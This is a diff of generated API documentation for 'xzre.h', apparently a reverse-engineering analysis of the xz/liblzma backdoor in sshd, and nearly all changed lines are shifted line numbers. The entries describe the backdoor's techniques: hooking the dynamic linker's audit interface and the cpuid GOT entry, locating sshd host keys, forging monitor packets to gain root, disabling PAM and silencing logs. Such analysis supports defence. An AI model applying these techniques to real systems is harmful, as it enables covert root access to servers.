got_ctx::return_address
void * return_address
the return address value of the caller obtained from *(u64 *)(caller_locals+24) since the entrypoint ...
Definition: xzre.h:634
+
got_ctx::cpuid_fn
void * cpuid_fn
points to the real cpuid function
Definition: xzre.h:638
+
got_ctx::got_ptr
void * got_ptr
points to the Global Offset Table
Definition: xzre.h:627
+
got_ctx::got_offset
ptrdiff_t got_offset
holds the offset of the symbol relative to the GOT. used to derive the got_ptr
Definition: xzre.h:643
+
imported_funcs
Definition: xzre.h:941
+
imported_funcs::RSA_public_decrypt_plt
void * RSA_public_decrypt_plt
address of the PLT for RSA_public_decrypt() in sshd
Definition: xzre.h:952
+
imported_funcs::RSA_get0_key_plt
void * RSA_get0_key_plt
address of the PLT for RSA_get0_key() in sshd
Definition: xzre.h:962
+
imported_funcs::EVP_PKEY_set1_RSA_plt
void * EVP_PKEY_set1_RSA_plt
address of the PLT for EVP_PKEY_set1_RSA() in sshd
Definition: xzre.h:957
+
instruction_search_ctx
Definition: xzre.h:2102
+
instruction_search_ctx::result
BOOL result
TRUE if the instruction sequence was found, FALSE otherwise.
Definition: xzre.h:2128
+
instruction_search_ctx::offset_to_match
u8 * offset_to_match
offset to match in the instruction displacement
Definition: xzre.h:2117
+
instruction_search_ctx::start_addr
u8 * start_addr
start of the code address range to search
Definition: xzre.h:2107
+
instruction_search_ctx::end_addr
u8 * end_addr
start of the code address range to search
Definition: xzre.h:2112
+
instruction_search_ctx::output_register_to_match
u32 * output_register_to_match
register to match as the instruction output
Definition: xzre.h:2122
+
key_ctx
Definition: xzre.h:1909
+
key_payload_body
Definition: xzre.h:1813
+
key_payload_hdr
the payload header. also used as Chacha IV
Definition: xzre.h:1795
+
key_payload
the contents of the RSA 'n' field
Definition: xzre.h:1827
+
ldso_ctx
Definition: xzre.h:1359
+
ldso_ctx::link_map_l_audit_any_plt_bitmask
u8 link_map_l_audit_any_plt_bitmask
bitmask that sets the link_map::l_audit_any_plt flag
Definition: xzre.h:1410
+
ldso_ctx::_dl_naudit_ptr
unsigned int * _dl_naudit_ptr
location of ld.so's _rtld_global_ro::_dl_naudit_ptr field
Definition: xzre.h:1429
+
ldso_ctx::sshd_auditstate_bindflags_ptr
u32 * sshd_auditstate_bindflags_ptr
the location of sshd's auditstate::bindflags field
Definition: xzre.h:1388
+
ldso_ctx::libcrypto_l_name
char ** libcrypto_l_name
location of libcrypto's link_map::l_name field
Definition: xzre.h:1446
+
ldso_ctx::_dl_audit_symbind_alt__size
size_t _dl_audit_symbind_alt__size
code size of ld.so's _dl_audit_symbind_alt() function
Definition: xzre.h:1458
+
ldso_ctx::libcrypto_auditstate_bindflags_old_value
u32 libcrypto_auditstate_bindflags_old_value
backup of the old value of libcrypto's libname_list::next field
Definition: xzre.h:1376
+
ldso_ctx::_dl_audit_ptr
struct audit_ifaces ** _dl_audit_ptr
location of ld.so's _rtld_global_ro::_dl_audit_ptr field
Definition: xzre.h:1420
+
ldso_ctx::sshd_link_map_l_audit_any_plt_addr
void * sshd_link_map_l_audit_any_plt_addr
location of sshd's link_map::l_audit_any_plt flag
Definition: xzre.h:1403
+
ldso_ctx::libcrypto_auditstate_bindflags_ptr
u32 * libcrypto_auditstate_bindflags_ptr
the location of libcrypto's auditstate::bindflags field
Definition: xzre.h:1371
+
ldso_ctx::sshd_auditstate_bindflags_old_value
u32 sshd_auditstate_bindflags_old_value
backup of the old value of sshd's libname_list::next field
Definition: xzre.h:1393
+
libc_imports
Definition: xzre.h:896
lzma_check_state
Structure to hold internal state of the check being calculated.
Definition: xzre.h:280
lzma_sha256_state
State for the internal SHA-256 implementation.
Definition: xzre.h:268
lzma_sha256_state::size
uint64_t size
Size of the message excluding padding.
Definition: xzre.h:273
-
main_elf
Definition: xzre.h:1589
-
monitor_data
data used within sshd_proxy_elevate
Definition: xzre.h:1930
-
monitor
struct monitor from openssh-portable
Definition: xzre.h:566
-
run_backdoor_commands_data
stack frame layout for run_backdoor_commands
Definition: xzre.h:1967
-
secret_data_item
Definition: xzre.h:1774
-
sensitive_data
struct sensitive_data from openssh-portable
Definition: xzre.h:578
-
sshd_ctx
Definition: xzre.h:1060
-
sshd_log_ctx
Definition: xzre.h:1143
-
sshd_offsets_fields
Definition: xzre.h:1196
-
sshd_offsets
Definition: xzre.h:1201
-
sshd_payload_ctx
Definition: xzre.h:1213
-
sshkey
struct sshkey from openssh-portable
Definition: xzre.h:589
-
string_item
Definition: xzre.h:1613
-
string_item::func_start
void * func_start
the starting address of the function that referenced the string
Definition: xzre.h:1622
-
string_item::string_id
EncodedStringId string_id
the string that was referenced, in encoded form
Definition: xzre.h:1617
-
string_item::xref
void * xref
location of the instruction that referenced the string
Definition: xzre.h:1630
-
string_item::func_end
void * func_end
the ending address of the function that referenced the string
Definition: xzre.h:1626
-
string_references
Definition: xzre.h:1639
-
backdoor_runtime_data
union used within run_backdoor_commands
Definition: xzre.h:1954
-
secret_data_shift_cursor_t
represents a shift register, which will shift a '1' into the secret data array. the low 3 bits repres...
Definition: xzre.h:1763
-
secret_data_shift_cursor_t::index
u32 index
Definition: xzre.h:1765
-
secret_data_shift_cursor_t::byte_index
u32 byte_index
Definition: xzre.h:1770
-
secret_data_shift_cursor_t::bit_index
u32 bit_index
Definition: xzre.h:1768
-
sshd_offsets_kex
Definition: xzre.h:1180
-
sshd_offsets_sshbuf
Definition: xzre.h:1188
-
u_cmd_arguments_t
Definition: xzre.h:1800
+
main_elf
Definition: xzre.h:1590
+
monitor_data
data used within sshd_proxy_elevate
Definition: xzre.h:1931
+
monitor
struct monitor from openssh-portable
Definition: xzre.h:567
+
run_backdoor_commands_data
stack frame layout for run_backdoor_commands
Definition: xzre.h:1968
+
secret_data_item
Definition: xzre.h:1775
+
sensitive_data
struct sensitive_data from openssh-portable
Definition: xzre.h:579
+
sshd_ctx
Definition: xzre.h:1061
+
sshd_log_ctx
Definition: xzre.h:1144
+
sshd_offsets_fields
Definition: xzre.h:1197
+
sshd_offsets
Definition: xzre.h:1202
+
sshd_payload_ctx
Definition: xzre.h:1214
+
sshkey
struct sshkey from openssh-portable
Definition: xzre.h:590
+
string_item
Definition: xzre.h:1614
+
string_item::func_start
void * func_start
the starting address of the function that referenced the string
Definition: xzre.h:1623
+
string_item::string_id
EncodedStringId string_id
the string that was referenced, in encoded form
Definition: xzre.h:1618
+
string_item::xref
void * xref
location of the instruction that referenced the string
Definition: xzre.h:1631
+
string_item::func_end
void * func_end
the ending address of the function that referenced the string
Definition: xzre.h:1627
+
string_references
Definition: xzre.h:1640
+
backdoor_runtime_data
union used within run_backdoor_commands
Definition: xzre.h:1955
+
secret_data_shift_cursor_t
represents a shift register, which will shift a '1' into the secret data array. the low 3 bits repres...
Definition: xzre.h:1764
+
secret_data_shift_cursor_t::index
u32 index
Definition: xzre.h:1766
+
secret_data_shift_cursor_t::byte_index
u32 byte_index
Definition: xzre.h:1771
+
secret_data_shift_cursor_t::bit_index
u32 bit_index
Definition: xzre.h:1769
+
sshd_offsets_kex
Definition: xzre.h:1181
+
sshd_offsets_sshbuf
Definition: xzre.h:1189
+
u_cmd_arguments_t
Definition: xzre.h:1801
elf_find_function_pointer
BOOL elf_find_function_pointer(StringXrefId xref_id, void **pOutCodeStart, void **pOutCodeEnd, void **pOutFptrAddr, elf_info_t *elf_info, string_references_t *xrefs, global_context_t *ctx)
this function searches for a function pointer, pointing to a function designated by the given xref_id
get_lzma_allocator_address
fake_lzma_allocator_t * get_lzma_allocator_address(void)
gets the address of the fake LZMA allocator
elf_parse
BOOL elf_parse(Elf64_Ehdr *ehdr, elf_info_t *elf_info)
Parses the given in-memory ELF file into elf_info.
@@ -2365,15 +2366,15 @@
hooks_data_addr
backdoor_hooks_data_t * hooks_data_addr
location of backdoor_hooks_data_t
sha256
BOOL sha256(const void *data, size_t count, u8 *mdBuf, u64 mdBufSize, imported_funcs_t *funcs)
computes the SHA256 hash of the supplied data
find_mov_instruction
BOOL find_mov_instruction(u8 *code_start, u8 *code_end, BOOL is_64bit_operand, BOOL load_flag, dasm_ctx_t *dctx)
finds a MOV instruction.
-
ElfId
ElfId
Definition: xzre.h:383
-
X_ELF_MAIN
@ X_ELF_MAIN
this is for sshd itself
Definition: xzre.h:388
+
ElfId
ElfId
Definition: xzre.h:384
+
X_ELF_MAIN
@ X_ELF_MAIN
this is for sshd itself
Definition: xzre.h:389
init_hooks_ctx
int init_hooks_ctx(backdoor_hooks_ctx_t *ctx)
Initializes the structure with hooks-related data.
-
CommandFlags2
CommandFlags2
Definition: xzre.h:1857
-
X_FLAGS2_CHANGE_MONITOR_REQ
@ X_FLAGS2_CHANGE_MONITOR_REQ
if set, changes the monitor_reqtype field from MONITOR_REQ_AUTHPASSWORD to what's contained in the pa...
Definition: xzre.h:1867
-
X_FLAGS2_PSELECT
@ X_FLAGS2_PSELECT
executes pselect, then exit not compatible with command 2
Definition: xzre.h:1881
-
X_FLAGS2_CONTINUATION
@ X_FLAGS2_CONTINUATION
more data available in the following packet not compatible with command 3
Definition: xzre.h:1876
-
X_FLAGS2_SOCKFD_MASK
@ X_FLAGS2_SOCKFD_MASK
(0111_1000 >> 3) & 0xF when CMDF_SOCKET_INDEX is specified
Definition: xzre.h:1888
-
X_FLAGS2_IMPERSONATE
@ X_FLAGS2_IMPERSONATE
if set, impersonate a user (info from payload) if not set, impersonate root
Definition: xzre.h:1862
+
CommandFlags2
CommandFlags2
Definition: xzre.h:1858
+
X_FLAGS2_CHANGE_MONITOR_REQ
@ X_FLAGS2_CHANGE_MONITOR_REQ
if set, changes the monitor_reqtype field from MONITOR_REQ_AUTHPASSWORD to what's contained in the pa...
Definition: xzre.h:1868
+
X_FLAGS2_PSELECT
@ X_FLAGS2_PSELECT
executes pselect, then exit not compatible with command 2
Definition: xzre.h:1882
+
X_FLAGS2_CONTINUATION
@ X_FLAGS2_CONTINUATION
more data available in the following packet not compatible with command 3
Definition: xzre.h:1877
+
X_FLAGS2_SOCKFD_MASK
@ X_FLAGS2_SOCKFD_MASK
(0111_1000 >> 3) & 0xF when CMDF_SOCKET_INDEX is specified
Definition: xzre.h:1889
+
X_FLAGS2_IMPERSONATE
@ X_FLAGS2_IMPERSONATE
if set, impersonate a user (info from payload) if not set, impersonate root
Definition: xzre.h:1863
key_payload_hdr_t
struct key_payload_hdr key_payload_hdr_t
the payload header. also used as Chacha IV
find_call_instruction
BOOL find_call_instruction(u8 *code_start, u8 *code_end, u8 *call_target, dasm_ctx_t *dctx)
finds a call instruction
elf_functions
const elf_functions_t elf_functions
special .data.rel.ro section that contains addresses to various functions
@@ -2391,12 +2392,12 @@
is_range_mapped
BOOL is_range_mapped(u8 *addr, u64 length, global_context_t *ctx)
verify if a memory range is mapped
sshd_get_sensitive_data_score_in_do_child
int sshd_get_sensitive_data_score_in_do_child(void *sensitive_data, elf_info_t *elf, string_references_t *refs)
obtains a numeric score which indicates if do_child accesses sensitive_data or not
sshd_find_sensitive_data
BOOL sshd_find_sensitive_data(elf_info_t *sshd, elf_info_t *libcrypto, string_references_t *refs, imported_funcs_t *funcs, global_context_t *ctx)
locates sensitive_data within sshd, and resolves some additional libcrypto functions
-
CommandFlags1
CommandFlags1
Definition: xzre.h:1834
-
X_FLAGS1_SETLOGMASK
@ X_FLAGS1_SETLOGMASK
disable all logging by setting mask 0x80000000
Definition: xzre.h:1842
-
X_FLAGS1_NO_EXTENDED_SIZE
@ X_FLAGS1_NO_EXTENDED_SIZE
if set, the union size field must be 0
Definition: xzre.h:1854
-
X_FLAGS1_SOCKET_INDEX
@ X_FLAGS1_SOCKET_INDEX
custom monitor socket index override
Definition: xzre.h:1846
-
X_FLAGS1_8BYTES
@ X_FLAGS1_8BYTES
the data block contains 8 additional bytes
Definition: xzre.h:1838
-
X_FLAGS1_DISABLE_PAM
@ X_FLAGS1_DISABLE_PAM
if set, disables PAM authentication
Definition: xzre.h:1850
+
CommandFlags1
CommandFlags1
Definition: xzre.h:1835
+
X_FLAGS1_SETLOGMASK
@ X_FLAGS1_SETLOGMASK
disable all logging by setting mask 0x80000000
Definition: xzre.h:1843
+
X_FLAGS1_NO_EXTENDED_SIZE
@ X_FLAGS1_NO_EXTENDED_SIZE
if set, the union size field must be 0
Definition: xzre.h:1855
+
X_FLAGS1_SOCKET_INDEX
@ X_FLAGS1_SOCKET_INDEX
custom monitor socket index override
Definition: xzre.h:1847
+
X_FLAGS1_8BYTES
@ X_FLAGS1_8BYTES
the data block contains 8 additional bytes
Definition: xzre.h:1839
+
X_FLAGS1_DISABLE_PAM
@ X_FLAGS1_DISABLE_PAM
if set, disables PAM authentication
Definition: xzre.h:1851
update_cpuid_got_index
void update_cpuid_got_index(elf_entry_ctx_t *ctx)
get the cpuid() GOT index
sshd_proxy_elevate
BOOL sshd_proxy_elevate(monitor_data_t *args, global_context_t *ctx)
forges a new MONITOR_REQ_KEYALLOWED packet, and injects it into the server to gain root privileges th...
backdoor_symbind64
uintptr_t backdoor_symbind64(Elf64_Sym *sym, unsigned int ndx, uptr *refcook, uptr *defcook, unsigned int flags, const char *symname)
the backdoored symbind64 installed in GLRO(dl_audit)
@@ -2414,7 +2415,7 @@
find_lea_instruction_with_mem_operand
BOOL find_lea_instruction_with_mem_operand(u8 *code_start, u8 *code_end, dasm_ctx_t *dctx, void *mem_address)
finds a LEA instruction with an immediate memory operand
cpuid_reloc_consts
const backdoor_cpuid_reloc_consts_t cpuid_reloc_consts
special .rodata section that contains _cpuid() related GOT offsets
sshd_get_sensitive_data_address_via_krb5ccname
BOOL sshd_get_sensitive_data_address_via_krb5ccname(u8 *data_start, u8 *data_end, u8 *code_start, u8 *code_end, void **sensitive_data_out, elf_info_t *elf)
finds the address of sensitive_data.host_keys in sshd by using getenv( STR_KRB5CCNAME )
-
backdoor_data_t
struct backdoor_data backdoor_data_t
this structure is used to hold most of the backdoor information. it's used as a local variable in fun...
Definition: xzre.h:1600
+
backdoor_data_t
struct backdoor_data backdoor_data_t
this structure is used to hold most of the backdoor information. it's used as a local variable in fun...
Definition: xzre.h:1601
find_string_reference
u8 * find_string_reference(u8 *code_start, u8 *code_end, const char *str)
finds an instruction that references the given string
sshd_get_sensitive_data_score
int sshd_get_sensitive_data_score(void *sensitive_data, elf_info_t *elf, string_references_t *refs)
obtains a numeric score which indicates if accesses sensitive_data or not
secret_data_get_decrypted
BOOL secret_data_get_decrypted(u8 *output, global_context_t *ctx)
obtains a decrypted copy of the secret data
@@ -2453,9 +2454,9 @@
find_addr_referenced_in_mov_instruction
void * find_addr_referenced_in_mov_instruction(StringXrefId id, string_references_t *refs, void *mem_range_start, void *mem_range_end)
find an address referenced in a function
resolver_call_count
u32 resolver_call_count
counts the number of times the IFUNC resolver is called
sshd_configure_log_hook
BOOL sshd_configure_log_hook(cmd_arguments_t *cmd_flags, global_context_t *ctx)
configure the log hook
-
CommandFlags3
CommandFlags3
Definition: xzre.h:1891
-
X_FLAGS3_MONITOR_REQ_VAL
@ X_FLAGS3_MONITOR_REQ_VAL
6 bits used to store the monitor req / 2 (might be unused)
Definition: xzre.h:1899
-
X_FLAGS3_SOCKET_NUM
@ X_FLAGS3_SOCKET_NUM
5 bits used to store number of sockets (in cmd3)
Definition: xzre.h:1895
+
CommandFlags3
CommandFlags3
Definition: xzre.h:1892
+
X_FLAGS3_MONITOR_REQ_VAL
@ X_FLAGS3_MONITOR_REQ_VAL
6 bits used to store the monitor req / 2 (might be unused)
Definition: xzre.h:1900
+
X_FLAGS3_SOCKET_NUM
@ X_FLAGS3_SOCKET_NUM
5 bits used to store number of sockets (in cmd3)
Definition: xzre.h:1896
monitor_data_t
struct monitor_data monitor_data_t
data used within sshd_proxy_elevate
cpuid_random_symbol
const u64 cpuid_random_symbol
a bogus global variable that is used by the backdoor to generate an extra symbol
elf_get_got_symbol
void * elf_get_got_symbol(elf_info_t *elf_info, EncodedStringId encoded_string_id)
Gets the GOT symbol with name encoded_string_id from the parsed ELF file.